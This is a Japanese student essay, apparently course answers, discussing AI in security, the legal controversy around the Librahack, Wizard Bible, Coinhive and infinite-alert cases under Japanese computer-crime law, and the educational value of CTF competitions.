この文章を書いている際に,私と同じ研究室にユーザの話し方や声,トーン等の特徴をもとに認証を行い,スマートスピーカーの第三者による不正な制御の防止について研究している方がいたのを思い出し,話を聞いたり研究結果を見たりしましたが,やはり上記の考察と同様の問題が提示されていました.つまり,パスワードやICカード等による確定的な認証方法とは異なり,ユーザの特徴(この場合は声)を人工知能の技術を活用して認証に利用するといった場合には,本人拒否によってユーザビリティが損なわれる場合や,他人受入によってそもそもの認証が無意味になってしまうという場合がある程度の割合で発生してしまうという問題が存在すると結論づけられていました.もちろんそのような確率を下げるような仕組みも取り入れられてはいましたが,今回の場合でいうと声やトーン,口調が非常に似ている人が一定数は存在することから,それらの確率を完全に0にすることは不可能に近いと考えられます.  加えて,サイバー攻撃に関するデメリットも存在します.防御側が人工知能を用いて効果的に攻撃をブロックする一方で,攻撃側も人工知能を用いて攻撃をより効果的かつ自動的に行なってくる可能性があります.例えば,この記事(参照: https://cloud.watch.impress.co.jp/docs/column/infostand/1074578-2.html)では,人工知能を用いた防御側のメカニズムをバイパスするような人工知能を用いた攻撃手法の可能性について示唆されています.  最後に,人工知能を組み込んだセキュリティのメカニズムが原因で何らかのインシデントが発生した場合,誰が責任を取るのかという問題が発生するというデメリットも存在します.例えば,ユーザである企業のネットワークに設置するNIDSのルールベース構築を,その企業が収集しているパケットキャプチャのログから機械学習を行うことで自動化し,将来的な検知に活用するといったようなソリューションを導入したと仮定します.このような場合において,もし攻撃者がネットワーク内の端末をコンピュータウィルスに感染させ,機密データをネットワーク経由でインターネット上のサーバに送信させ続けていたにもかかわらずそれが検知できなかった場合,誰が責任を取るのかという問題があります(開発元企業,販売者,導入した企業,セキュリティ担当者,etc).

 ここまでの人工知能とセキュリティの関わりやそれらにまつわるメリットとデメリットに関する議論を踏まえて,最後に将来的なセキュリティ分野における人工知能のあるべき姿について考えたいと思います.人工知能は,うまく活用することによって人間を単調な作業から解放させ,より高次のアクティビティに専念できるようにさせることが可能です.ここで重要なことは,人工知能を人間のタスクを完全に代替するものとして捉えるのではなく,人間が何らかのタスクを行う上で統計的なメトリクスに基づいた有用な知見を提供するツールとして見做すことだと考えます.つまり,セキュリティを保証するための仕組みやアルゴリズムの構築を完全に人工知能に依存させてしまうのではなく,セキュリティを保証するための仕組みを構築する際に人工知能によって得られる知見を適切にシステムの中に組み込んでいくことが求められると思います.この考えは非常に抽象的ではありますが「セキュリティと人工知能」という大きなテーマを考える上では,個々のセキュリティの技術要素にどうやって人工知能を活用していくのかといったミクロな視点だけではなく,人工知能とどうやって付き合っていくのかといったマクロな視点を常に持ち合わせておくことが重要だと考えます.そのような前提をもとに,個々の技術要素に対してどのように人工知能を活用すればフィルタリングや認証における精度を上げられるのか,要求されるセキュアな環境を実現できるのかといったことに主眼を置いていくという姿勢が求められると考えます.

問題5

 本回答では,私が見聞きした事件の中で「なぜこの行為は犯罪に当るのかがよく分からない」という事例の中で特に気になっている事例について取り挙げ,それらについて調査した内容と私の考えをまとめた上で,具体的にこのような場合はどうなのかといったケーススタディ的な考察を各事例に基づいて行いたいと思います.なお,取り上げる事例については通称を使います.

Librahack事件

 Librahack事件は,2010年3月頃に岡崎市立図書館の蔵書検索システムに対して定期的にクローラを実行してデータを収集していた人物が偽計業務妨害罪で逮捕された事件です.データ収集に用いられたクローラはシリアルにアクセスするもの(同時に複数のコネクションを確立するようなことはしない)上に,1秒間に1回程度のアクセスといった,いわゆるDoS攻撃的なアクセスにならないように配慮がされていたにもかかわらず,図書館サイドのシステムに設計上の欠陥があったために,他のユーザへのレスポンスがうまく返却されないという状況に陥ってしまっていたようです.  まず,偽計業務妨害罪についてよく分からなかったため調査すると,「虚偽の風説を流布し、又は偽計を用いて、人の信用を毀損し、又はその業務を妨害した者」に対して科される罪だと言うこと,そして「偽計」とは「人(や機械)をあざむく計略」という意味であることが分かりました.つまり今回のケースの場合,クローラを用いてシステムから定期的にデータを収集すると言う行為が「人をあざむく計略」であり,その結果として図書館のサーバに不具合が発生する状況にしてしまったことが「その業務を妨害した」という要件にあたるのだと考えられます.  この定義と今回の事例を比較した際にいくつか疑問に感じたことがあります.  まず,偽計業務妨害罪の定義についてです.例えば,「あるお店の商品についてありもしない噂話を広めて,そのお店の売り上げを落とすような行為をした」というような場合,これは明らかに偽計業務妨害罪にあたるのではないかと考えられます.なぜなら,当事者が「偽計を用いて」,落ち度がない対象となるお店の「業務を妨害」しているからです.また,コンピュータに対する犯罪の例を挙げると,「ボットネットから大量のHTTPリクエストを同時に送信してWebサービスを停止させた」と言うような場合も同様の理由で罪が成立すると考えられます.このようなシナリオに照らし合わせて考えると,今回の事例が偽計業務妨害罪にあたるのかと言われると私は疑問に感じます.例えば,「偽計」に関して,今回用いられたクローラのプログラムが偽計にあたるのかという問題に対しては,私は明らかに違うと感じます.もしこの程度のクローラが問題になるのであれば,普段検索エンジンが使用しているクローラや私たちが適当に特定のWebサイトに対して連続してHTTPリクエストを送信しただけでそれが犯罪扱いになってしまうことになりかねません.また,偽計業務妨害罪において,成り行きが事前に分かっており当事者に「悪いことをしてやろう」という意図があったのか,つまり犯罪が成立する要件に故意性や悪意の有無が関係するのかについても気になったため調査を行いました.その結果,故意犯の処罰のみを原則としており,過失犯の処罰は例外的であると言うことが分かりました.また,明確なことはわかりませんでしたが,当事者に悪意がなかった場合もやはり成立しないことが分かりました.つまり今回の場合,クローラを実装し実行した人が,このクローラによって図書館のシステムに何らかの不具合が生じることを事前に分かっていた上でそれを実行していたことが認められたということになります.しかしながら,私にはそうとは思えません.そもそも,このクローラを用いた目的は「より使いやすい自分専用の新着図書サイトを作ろうとしたため」であり,加えてアクセスの方法や頻度もある程度の配慮がなされてあったことから,よもや「図書館のサーバに負荷をかけてサービスの提供を困難にしてやろう」という意図があったとは到底思えません.この観点について検察は,「リクエストを大量に送りつけたら、図書館のサーバに ... 影響が出ることを予想していたはず ... リクエストを大量に送りつけたので、「故意があった」ものと判断...」という見解を示していますが,デベロッパの観点からすると,1秒に1回程度のアクセスが「大量」にあたるのかは甚だ疑問ですし,そもそもその程度のリクエストでサービス提供が困難になるWebサービス自体が問題なのではないかと思えてしまいます.  このLibrahack事件について調べている途中に,過去に自分が作ったプログラムについて思い出すことがありました.そのプログラムはSlackアプリで利用するチャットボットで,ボットに商品名を話しかけるとAmazon楽天といったECサイトでその商品名の検索結果を得るようなクローラが裏で動作し,ユーザに結果を示すと言うものでした.もしLibrahack事件のクローラが犯罪にあたるのであれば,私のクローラも犯罪に当たってしまうのでしょうか.例えば,今は公開していませんが,このプログラムが一般ユーザの間でヒットし,多数のユーザがこのボットに商品名を話しかけたとすると,対象となるECサイトにはある程度の負荷がかかるものと考えられます.もし,その多数のリクエストがきっかけとなって対象のECサイトがダウンしてしまった場合,誰の責任になるのでしょうか(おそらく私の責任になりかねないと思います).当然ながら,私には「ECサイトをダウンさせてやろう」などという悪意は全くなく,単に「これを使えばみんなが便利に商品を検索できる」という意図のもとでこのチャットボットを開発しています.  また,犯罪が成立する程度についても疑問点が残ります.DoS攻撃の場合だと,対象とするシステムが所有しているリソースの量によってサービスが停止するまでに必要な攻撃の規模や時間が大きく変わり得ます.例えば,システムがCPUやメモリを潤沢に備えたサーバからなるデータセンタを利用して提供されているような場合,そのシステムをダウンさせるには相当な数のリクエストを短時間で送信しなければならないことが想定できます.一方で,極端な例だと,私のPCで一時的に立ち上げたWebサーバプログラムをダウンさせるのはそこまで難しくないのではないかと思われます.このように,サービスが停止するまでの程度がシステムによって異なる一方で,そのシステムが許容できる程度が事前にわからないと言う点が問題だと思います.システムに対してある程度の負荷がかかることが分かっているようなプログラムを開発する場合,善意の開発者は当然そのシステムがダウンしない程度の負荷しか与えないような設計にするものと考えられます.そのような配慮がなされている上で,プログラムの利用によってシステムがダウンしてしまった場合,開発者にはある程度の落ち度はあるものの犯罪として立件する程のことだとは思えません.例えば,システムに対するプログラムを用いたアクセスを禁止する旨やアクセスの上限を規約等で明記していた場合はその限りではありませんが,明記がされていない場合は,プログラムの開発者は「(サービスが許容する負荷の程度がわからないにもかかわらず)サービスがダウンしてしまうような負荷をかけないこと」と「プログラムが短時間で当初の目的を達成できるようにすること」というトレードオフに悩まされることになります.  このような考察をもとに考えると,今回の事例は完全に犯罪には当たらないとは言えないものの,いきなり検挙するといったことは不適切だったのではないかと感じます.最初に問題が発生した時点でクローラの実行者に警告を行い,それでもやめなかった場合は検挙,といった手順の方が適切なのではないかと思えてなりません.

Wizard Bible事件

 Wizard Bible事件は,サイバーセキュリティやハッキング等に関する情報を公開していたWebサイトである「Wizard Bible」が不正指令電磁的記録提供にあたると判断され,サイトが閉鎖に追い込まれた事件です.  まず,不正指令電磁的記録提供が何であるかについて調査しました.その結果,不正指令電磁的記録とは「人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、又はその意図に反する動作をさせるべき不正な指令を与える電磁的記録」であることが,また不正指令電磁的記録に関する罪はこのような不正指令電磁的記録を「人の電子計算機における実行の用に供する目的で作成,提供,取得,記録する行為」を罪として扱っていることがわかりました.このうち,「不正な指令」については,いわゆるマルウェア等が実行するようなファイルの暗号化や削除を行うこと,他のプログラムの脆弱性をついて特権昇格を行うもの等が当てはまることが推察できますが,「意図」については少し釈然としませんでした.そこで追って調査した結果,意図とは社会一般の信頼をベースとし,対象とするプログラムの機能の内容や説明,想定される利用方法などを総合的に考慮して規範的に判断されるものだと言うことがわかりました.また,「実行の用に供する目的」についてもその意味が今ひとつ理解できなかったため調査を行うと,「電子計算機の使用者にはこれを実行しようとする意思がないのに実行され得る状態に置くこと」を指しているのだと分かりました.  この事件について調査する中で私が気になったことは,そこに悪意がなく,そのサイトが原因で実際に被害が発生したという事例も(現時点では)発覚していないにもかかわらず,犯罪として判断されてしまったことです.私は,サイバーセキュリティについて学習を進めていくにおいては,防御側の技術について知るだけではなく,攻撃側の技術について知ったり実践したりすることが不可欠だと考えます.そのため,サイバーセキュリティに関する情報を提供するWebサイトや書籍には,実際のシステムに対して実行してしまうと犯罪となってしまうような攻撃手法やそのコードがコンテンツとして掲載されていることはごく自然なことだと考えられます.これらのコンテンツの執筆者は,サイバーセキュリティに関する教育や情報共有といった啓蒙目的で執筆しているのだと考えられます.果たしてそのようなコンテンツの執筆活動や提供を法律によって制限することに意義があるのかと言われると,私はそうとは思えません.なぜなら,悪意を持った攻撃者は検閲等が行われない場所でそういった情報に関する共有を能動的に行なっている一方で,一般ユーザやサイバーセキュリティの学習を行なっている人に対しては法律による制限によって情報の共有が遅れるといった,攻撃者優位の状況を確立されかねないからです.そのため,実際に不正な動作を行うマルウェアECサイト等で販売していたり,即座に実行可能な攻撃コードを何らかのシステムやサービスに対して被害を発生させる目的で公開したような場合は上記の犯罪が成立することはいたって自然だと考えられますが,今回のような場合に摘発を行うことは適当とは言えないのではないかと考えています.  また,今回の事例が「実行の用に供する」のかも甚だ疑問です.例えば,Wizard Bibleがそのページを開いた瞬間に実行可能形式のマルウェアをダウンロードさせるように仕向けるようなサイトであった場合は,実行の用に供する目的があったものとして考えることができます.しかしながら,対象のページには当然そのような仕組みはありませんでした.そもそも,Wizard Bibleのコンテンツを第三者の電子計算機上で実行され得る状態に置くためには,仲介者の存在を必要とします.つまり,悪意を持った第三者が標的に対してWizard Bibleに記載されていた攻撃コードを用いたマルウェアをダウンロードさせるといったような構造が必要になります.Wizard Bibleはそれ単体では第三者の電子計算機上で何らかの電磁的記録を実行され得る状態に置くことは不可能であるにもかかわらずそれが認められたということは,上記のように何らかの仲介者の存在を必要とする場合でも「実行の用に供する目的」に該当するのか疑問に感じました.  この事件を一歩引いて俯瞰的に捉えると,ある人が当人にとっての「善いこと」としてその行為を取るとき,つまり「この行為は自分だけが姑息に得をしたり他人が損害を被ったりするものではなく,みんなが結果的に利益を享受できる行為だ」と思ってその行為を行動に移した場合,それを法律で制限することに意義があるのかといった根本的な問いに繋がるのではないかと感じました.今回のケースを例にとると,ある人が現に役に立つ情報を「これはみんなの役に立つだろう」と思って公開した際にそれが法律で制限されることにどういった意味があるのだろうかと感じます.まず,摘発を受けた人は今後同様のことをしないようにしようと考えるものと思われます.加えて,直接摘発を受けていない人でも,同様の類の情報公開を止めようと考えるかもしれません.その結果,サイバーセキュリティに関する情報共有が遅れることにつながります.また,そのような情報を欲しがっている人々は不便を被ることになります.そのようなことがきっかけになって,サイバーセキュリティへの取り組みや学習を止めてしまうといった状況にもなりかねません.そしてそのような懸念は現実に発生しています.現に多数の人がサイバーセキュリティに関する記事(CTFのwriteup等)の公開を中止するといったアクションをとっています.  そもそも,不正指令電磁的記録に関する罪の本来の意義というのは,コンピュータに不正な指令を与えるようなプログラムの開発や,それが社会に流通するのを防ぐことで,誰もがコンピュータを安心して使えるようになることにあると思います.しかしながらこのような現状を考慮すると,今回の事例のような摘発はむしろ本来の意義や望ましい状態から遠ざかってしまうようなものだったのではないかと思えてしまいます.  私はこの事件を目にしてから少し怖さを覚えました.私も,実際のシステムに送信すると問題を引き起こすようなコードやペイロードを記載した記事をブログに投稿した経験があったからです.そのため,サイバーセキュリティに関する記事を投稿する際には以下の文言を追加するようにしました.このような措置をとらなければならないような状況が,不正指令電磁的記録に関する罪が制定された目的だったとは甚だ考えられないことから,この事件には憤りと失望を感じざるを得ませんでした.

本記事はあくまでサイバーセキュリティに関する情報共有の一環として執筆したものであり,違法な行為を助長するものではありません.
本記事に掲載されている攻撃手法を公開されているシステム等に対して実行するといった行為は決して行わないでください.

The purpose of this article is to share information about cybersecurity with the community in order to promote better understanding of modern threats and techniques.
The author does NOT condone illegal activity of any nature; please do not carry out any attacks described herein against any system(s) you do not have explicit permission to attack.

 これらの考察をもとに,これが不正指令電磁的記録に関する罪にあたるのか分からないといった事例がいくつか思い当たりました.  1つ目は,前述した技術系のエントリに関してです.私は既に自身のブログにおいて,攻撃コードを含むCTFのwriteup等をアップロードしています.また,知人のブログにてCVEを実証した記事などを見たことがあります.このような場合,不正指令電磁的記録提供にあたるのでしょうか.当然のことながら,私やその知人は不正な意図を持って記事に記載されたコードや攻撃手法を利用してほしいと思っていたり,その攻撃コードを誰かのコンピュータ上で実行してやろうと考えていたりするわけではなく,単に情報共有を図りたいという一心で記事を公開しています.これはWizard Bibleの執筆者,管理者の方も同様の心境だったと思います.そのWizard Bibleが摘発されたということは,私たちの技術エントリも摘発の対象となり得るというは,ごく自然な論理であるように思えます.  もう1つは,不正な処理を実行しうるプログラムの開発や所持についてです.私は趣味や研究活動において,ユーザの意図に反するような処理やデータを暗号化したり削除したりするいわゆるマルウェア的な動作を行うプログラムを開発したり所持したりすることがあります.不正指令電磁的記録に関する罪では,正当な理由がないにもかかわらずそのようなデータを所持していた時に処罰されるとありますが,この正当な理由とはどの程度まで保証されるのでしょうか.また,それはどのようにして証明することができるのでしょうか.仮に私が他人のコンピュータ上でデータを暗号化して身代金を得る目的でランサムウェアを所持しており,その所持を理由に検挙された場合,「研究のためだった」と証言すれば不正指令電磁的記録に関する罪には当たらなくなるのでしょうか.そもそも,「実行の用に供する」目的があったかどうかは,「実行の用に供された」という事実がなければ完全な証明はできないのではないでしょうか.ともすれば,研究や解析のためではなく,単に趣味や勘違いでマルウェアを所持しているといったどちらとも言えないグレーゾーンにあたるような場合はどうなるのでしょうか.この法律の解釈は,後述のCoinhive事件の考察と合わせても疑問が残る点が多々あったと感じています.

Coinhive事件

 Coinhive事件は,自身のWebサイトにMoneroのマイニングを行うスクリプトであるCoinhiveを設置した人物が不正指令電磁的記録に関する罪で検挙された事件です.  さて,不正指令電磁的記録に関する罪で検挙されたということは,Coinhive自体が「人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、又はその意図に反する動作をさせるべき不正な指令を与える電磁的記録」であり,それを設置するという行為が「人の電子計算機(コンピュータ)における実行の用に供する目的」に該当すると認められたということになります.  はじめに,「人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、又はその意図に反する動作をさせるべき不正な指令を与える電磁的記録」という要件について考察します.  この内,まずは前者の「意図に沿うべき動作をさせず」について考察します.前述の通り,意図とは「社会一般の信頼をベースとし,対象とするプログラムの機能の内容や説明,想定される利用方法などを総合的に考慮して規範的に判断」されるものでした.つまり,あるプログラムが意図に沿うか沿わないかは社会一般,つまり一般ユーザがそのプログラムを実行することを了解し得るかということに判断根拠があるのだと考えられます.しかし,現時点でユーザのコンピュータ場で実行されているが全てユーザの了解の範囲内とは言い切れない気がします.例えば,以下のようなプログラムは本来の意味で一般ユーザの了解を得ていると言い切れるのでしょうか.

  • Webページに表示される広告(およびその広告を表示させるために用いられるJavaScriptプログラム)
  • 暗黙的にプログラムの使用状況に関する統計情報をサーバにアップロードするプログラム
     

 むしろそれ以前に,あらゆるプログラムにおいてその処理内容に関して事前にユーザに同意を得るといった措置をとることはほぼ不可能なのではないかと考えられます.そのような同意を得るプロセスが毎回表示されるとユーザビリティが損なわれる上に,情報技術についての知見をあまり持ち合わせない一般ユーザがそれを見たとしても完全に理解できるとは考えられません.加えて,ならば同意を得たらなんでもして良いのかと言われるとそうとも限りません.例えば,私たちユーザはソフトウェア等の利用規約を読み飛ばして同意しがちですが,もしこの規約の中に「あなたのデバイスに保存されている全てのデータを外部のサーバに送信します」という文言があった場合,それはユーザの了解を得ているという面で合法だと言えるのでしょうか.私はそうだとは到底思えません.  そのような点を考慮すると,「意図に沿っている」ということは「ユーザにとって好ましい動作をする」ということと表裏一体なのではないかと感じました.しかしながら,そうであったとしてもまた別の問題が浮上します.それは,各ユーザにとって「好ましい動作」の定義が異なるという点です.例えば,とあるサービスの品質向上のために暗黙的にサービスの使用状況に関する統計情報をサーバにアップロードするプログラムが動作している状況を想定すると,「サービス品質向上のためなら喜んで提供する」というユーザにとってそれは好ましい(意図に沿っている)動作であると言えますが,「自分の使用状況を勝手に見られたくない」と考えているユーザにとっては好ましくない(意図に沿っていない)動作ということになります.そのような様々な考え方が存在する事柄を「社会一般の信頼」という曖昧な判断基準に委ねてしまうのはいささか無責任なのではないかと感じてしまいます.そのような曖昧なルールしか存在しないのならば,私たち開発者は「何を開発するのは良くて何を開発してはいけないのか」が明確に分からなくなってしまいます.  また,後者の「不正な指令」について考察します.このように「不正な指令」に限定しているのは,意図に沿っていないプログラムでも正当な指令が存在する場合があることを想定しているためだということが調査で分かりました.しかしながら,この「不正かどうか」という判断基準も意図と同様に「社会的に許容しうるかどうか」によって決定されるとあったため,堂々巡りになってしまいます.  次に,「実行の用に供する目的」について考察します.今回のCoinhiveはWebサイトに組み込まれており,そのWebサイトを開いた時点で同意を得ることなくプログラムの動作が開始するため,実行の用に供する意図があったと判断されるのは自然なことだと考えられます.  ここまでの調査と考察を通して感じたことは,Coinhiveが違法で広告表示プログラムが合法だと判断されるのはなぜかということです.Coinhiveは「ページを開いた時点でユーザの合意を得ることなくコンピュータのCPUリソースをある程度消費する」ことが要件に一致していたため謙虚につながったのだと考えられますが,その理屈で言うならば,広告表示プログラムも「ページを開いた時点でユーザの合意を得ることなくコンピュータのCPUリソースをある程度消費する」と言う点では一致しています.広告表示プログラムはかなり過去から利用されている技術でユーザにとってもある程度の了解が得られているという議論もありますが,そうであれば「広告表示プログラムが世に出回り始めた頃は違法だったのか」,「そもそも広告表示プログラムはユーザの了解を得ているのか」と言った別の疑問が浮上してきます.また,社会に浸透していない新規の技術ほどその違法性が高まると言うのであれば,新規技術の開発やそれを応用したプログラムの活用という面において萎縮反応が起きると言った懸念も生じます.  また,調査を通して初めて知った概念ですが,この法律の保護法益(特定の行為を規制することによって保護,実現しようとしている利益)は,電子計算機のプログラムに対する社会一般の者の信頼であることが分かりました.例えば,ランサムウェアはプログラムに対する信頼を損なわせるという面で保護法益を侵害することは明らかです.一方で,Coinhiveは本当にこの保護法益を害するものなのでしょうか.コンピュータ上では,私たちの認識していないところで異なる目的を持った多数のバックグラウンドプログラムが稼働しており,それぞれのプログラムが許容しうる程度のCPUリソースやメモリリソースを消費しています.CoinhiveでもCPUリソースを消費するパラメタが設定できたことから,ユーザが許容しうる程度のリソース消費量に止めることができたことは明白です.そのような事実を省みると,Coinhiveがユーザのプログラムに対する信頼という保護法益を損なわせるものであるかという問いに対して,明確に肯定はできないのではないかと考えます.  以上をまとめると,やはり今回のような事例を不正指令電磁的記録に関する罪として検挙するといったことは,社会的な合意の無さやその不正性の度合い,およびその他のプログラム等と比較した際のCoinhiveにおける明確な悪質さを過大に見積もりすぎているのではないかと感じざるを得ません.このような検挙によって,新規技術の開発や採用といった活動が萎縮してしまっては,それこそが法律の保護権益を損なわせることにつながってしまうのではないかと考えます.

無限アラート事件

 無限アラート事件は,インターネット掲示板に無限にアラート(window.alert)を表示させるようなページのリンクを記載した人が不正指令電磁的記録供用未遂の疑いで摘発された事件です.  前述の事件と同様に不正指令電磁的記録に関する罪であることから,上記の処理がユーザの意図に反した不正な動作であり,それを実行の用に供しようとしたことが認められたということになります.  まず,実行の用に供しようとしたことはそのページのリンクを記載したことから認められるのは自然なことだと考えられます.  一方で,上記の処理がユーザの意図に反した不正な動作であるかということに関しては,疑問が残ります.Webコンテンツにおいてアラートを表示することは,一般的なWebサービスやブラウザの機能として表示されることがあることからも,ある程度ユーザの了解が得られていると考えられます.ともすれば,問題は「無限回」アラートを表示するプログラムを動作させたことが問題であるということになります.まず,意図に関してですが,これは前述のCoinhive事件に関する考察と同様に全ての処理に関して事前にユーザの了解を得るということは困難であることから,それが明確にユーザの意図に反するのか,という疑問に対しては明確に肯定はできないと感じます.また,不正かどうかに関しても疑問が残ります.例えば,コンピュータの実行権限を奪取しファイルを破壊するマルウェアランサムウェアが社会的に不正であると認められるのは「ユーザがそれを閉じたり停止させたりすることが困難(不可能)であるため」,「それがファイルの破壊や金銭の奪取といった取り返しのつかない破壊的な結果を生むから」だと考えられます.しかしながら,今回の事例においては取り返しのつかない問題は発生しない上に,Coinhiveで問題とされていたリソースの消費も発生しません(試しに自身のChrome上で実行してもCPU使用率が上昇するといった問題は見られませんでした).加えて,最新のブラウザではたとえアラートが常に表示されていてもタブを閉じたりブラウザそのものを閉じたりすれば表示を止めることができます.中には,複数回アラートが表示された際にそれ以降の表示を停止するといった機能を持ったブラウザもあります.  これらの結果を考慮すると,Coinhiveと同様にやはり不正指令電磁的記録供用の要件を満たすには至らないのではないかというのが私の見解です.  この事件の報道を見た際に,私は少し怖くなりました.以前に,アルバイト先で開発しているWebアプリケーションにおいて無限に画面の拡大率が縮小していくようなバグを埋め込んだ状態でインターネット上にデプロイしてしまっていた経験があったためです.それはもちろん故意ではなかったものの,今回のようないわばジョークのような無限ループプログラムで摘発されるのであれば,私の行ってしまったことも摘発対象になり得たのではないかと考えてしまいます.  WebデベロッパーがWebアプリケーションを開発する際だけでなく,私たちがプログラムを開発する際に無限ループをはじめとするバグを完全に除去してしまうことは不可能です.どれだけ入念にテストを行っていてもバグは残存するものですし,そのようなバグの中にはユーザを戸惑わせるような動作や,ユーザのコンピュータリソースを過剰に消費してしまうような動作を行うものが存在するのも事実です.そのようにテストでは発見できなかった,いわゆる不正な動作を行うバグを埋め込んだ人も摘発対象となってしまうのでしょうか.

 これらの事件について調査や考察を繰り返す中で特に気になったのが,法律の存在意義についてです.私は法律や法学に詳しいわけではありませんが,法律が存在するからにはそこに何らかの意図や目的があるものと考えられます.私は,その意図とは「姑息な手段を用いて利益を得ようとする行為や他人に損害を与えるような行為を制限することで,社会の秩序を維持し,社会の中で生活する人々が不当な不利益を受けることなく安心して日々を過ごせること」にあると思います.このような意図を達成するものは法律だけではなく,いわゆる道徳やモラルにも当てはまります.道徳やモラルは明文化されたものではなく,何らかの行為を人為的に制限するものではないものの,それを破ると一定の社会的な損失を被ると言うことが悪意ある行動を抑制する要因となっています.例えば,私たちが他人の財布をいきなり盗んだりしないのは,法律がそうだからというよりも,財布を盗んだことがバレた時に周りの人々からどういった反応を取られるか,その結果社会の中で孤立するという成り行きが見えているからだと考えられます.一方で,そういったリスクを孕んでいるにもかかわらず,そういったことを行動に移す人も存在します.そのような道徳やモラルを破った結果受ける社会的制裁では不足している点を補填するように制限を加えるのが法律の根本だと考えます(法律が道徳やモラルの抜け穴を補填していることから相互補完的なものだとも思いました).そのため,コンピュータの世界において,それを悪用して不正にデータを窃取したりターゲットから金銭を巻き上げたりするような道徳やモラルでは制限できない行為は法律で制限されてしかるべきだと考えます.しかしながら,上記で示したような事例においては,法律で制限を加えることによって本当に「社会の中で生活する人々が不当な不利益を受ける」ことが回避できているのかとても懐疑的です.むしろ,必要以上の制限を加えていることで,コンピュータを使って何か新しく面白いことをしようというモチベーションや機会を不当に阻害し,デベロッパーやユーザにとって負の影響しか生み出さないような状態になってしまっているのではないかと感じてしまいます.  私は,このような状況になってしまっている理由について2点思い当たることがあります.  1点目は法律の曖昧さです.私は,今回の調査を通してコンピュータに関する法律の条文を初めて真剣に読みましたが,ほかの法律と比較してどこか曖昧さを感じずにはいられませんでした.例えば,「反意図性や不正性を満足させるための社会的な許容や了解とは一体どの程度のものを指しているのか」,「どうすれば実行の用に供すると断定できるのか」,「故意ではなかった場合どうするのか,また,それが悪いと思っていなかったり,違法だと思っていなかったりしが場合はどうするのか」といった事柄が非常に不明瞭だと感じました.これは,私の法律に関する素養の不足や判例等の調査不足もあるかと思いますが,やはりこのような私たちにとって身近で重要な法律については,その条文や可用性が維持された文書等において明確な判断基準を示す必要があるのではないかと感じました.そうしないと,私たち開発者や一般ユーザが何をして良くて,何をしてはいけないのかが把握しきれないままになってしまいます.そのような状況においていきなり警告等もなしに検挙でもされようものなら,到底同意できないのは火を見るより明らかです.  2点目は法律が現在の技術に追いつけていないことです.既存の技術は日々進歩を続けており,また新しい技術も次々と開発が進められています.そのような技術には,まだ社会に広く浸透していないものや,何も知らないユーザからすると不明瞭な動作をするものもある一方で,非常に高い有用性を持つものがあるのもまた事実です.一方で,法律は短期間にアップデートするということが難しいものでもあります.このスピード感の違いが,現実世界と法律の世界における齟齬のようなものを生じさせてしまっているのではないかと感じます.ユーザの保護法益を守ることや社会の秩序を維持することという根本的な目的は過去も未来も変わらないと考えられますが.より柔軟な変化が必要とされる法律の枝葉のような部分については,より素早くより柔軟にアップデートできるような仕組みが必要になってくるのではないかと感じます.  最後に,これらの問題の本質となる部分について考察したいと思います.私は,サイバーセキュリティはナイフのようなものだと捉えています.使いようによっては便利なものとなる一方で,使い方を誤ったり悪意を持った人が使ったりすると,人や社会に対して大きな悪影響が及ぶ危険性があります.そのようなサイバーセキュリティが持つ二面性が,それに関する法律の解釈や厳密な構成を難しくさせる大きな要因になっているのではないかと感じます.そのため,サイバーセキュリティの知識や技術を用いて得られる恩恵が最大限享受可能になるとともに,それを用いた「悪である」と考えられる行為を可能な限り制限するための妥協点のようなものを見つけていくという姿勢が重要なのではないかと考えます.なぜなら,これら双方にはトレードオフの関係があり,同時に満たすような法律やルールを定めることは非常に困難であるからです.私としては,ユーザの意図や社会的な了解といった曖昧な基準に違法性を依拠させるのではなく,ファイルを全て削除するようなマルウェアランサムウェアを対象のコンピュータに送り込んだり,サービスを停止させる目的で大量のパケットを送信したり,ユーザの平常的なコンピュータの使用が困難になる程度のリソースを消費するクリプトジャッキングツールを密かに埋め込んだりといったような,故意性と悪意が明らかであるような事例に対しては摘発を行い,それ以外の曖昧な場合においては警告や社会の反応等を斟酌しながらケースバイケースで柔軟に方針を決定していくのが最適解なのではないかと考えます.そのような方針を置くことで,私たちはどのようなことが違法でどのようなことが合法であるのかを明確に把握できるにようになる上に,判例や警告が行われた事例などのインテリジェンスを有効活用した節度ある振る舞いが可能になるのではないかと考えます.

問題8

 まず,CTFの問題やCTFそのものに対する私の考えを述べたいと思います.  私は,CTFが「情報セキュリティや,より広くコンピュータサイエンスの概念および実装に関する現実的な知識や技術およびそれをうまく活用する能力を磨いたり確認したりするもの」であることが望ましいと考えています.  より簡潔に述べると,私はCTFについて「学習性」と「現実性」が特に重要であり,次いで「新規性」と「パズル性」が重要だと考えています.そしてこれらの要件が満たされてれば満たされているほど,そのようなCTFの問題を作ったり解いたりしていくことに対する意義があると考えています.その理由について以下で述べます.    まず,学習性の観点についてです.これは,私がCTFを通じて情報セキュリティに関する知識や技術を現在進行形で身につけていけているという実体験に基づいた考えです.私たちが情報セキュリティをはじめとする情報技術について学ぶ時,一部の分野を除いては,どうしても机上の学習に留まりがちなのではないかと感じています.例えば,プログラミングは机上の学習に留まりにくい分野だと考えています.なぜなら,プログラミングを学習する際は対象とする言語の文法や機能について学ぶことと,コンピュータ上で実際に学んだことを用いてコーディングをすることといったように,インプットとアウトプットが密接に関連しているからです.一方で,情報セキュリティはインプットとアウトプットがなかなか結びつきにくい分野なのではないと考えています.ひとことに情報セキュリティと言ってもその内部の細やかな分類は多岐に渡りますが,私の経験上,以下のような状況に陥っている人が多いのではないかと推察します.

  • 暗号の種類やアルゴリズムについて学習したが,具体的な実装方法や脆弱な暗号の解読についてどのように取り組めば良いのかわからない
  • ネットワークセキュリティについて学習したが,実際にパケットを見るにはどうすれば良いのか,どのようなアプローチで解析すれば良いのかわからない
  • Webアプリケーションに対する攻撃を学習したが,試せる場所がない(実際に稼働しているシステムに対して攻撃するわけにはいかない)
  • 記憶装置の構造やディスクフォレンジックの方法について学習したが,やはり試せない(壊していいディスクがない,どこまで壊していいのかわからない)
  • リバースエンジニアリングの方法がわからない(そもそもリバースエンジニアリングと情報セキュリティの分野がどのように関係しているのかわからない)

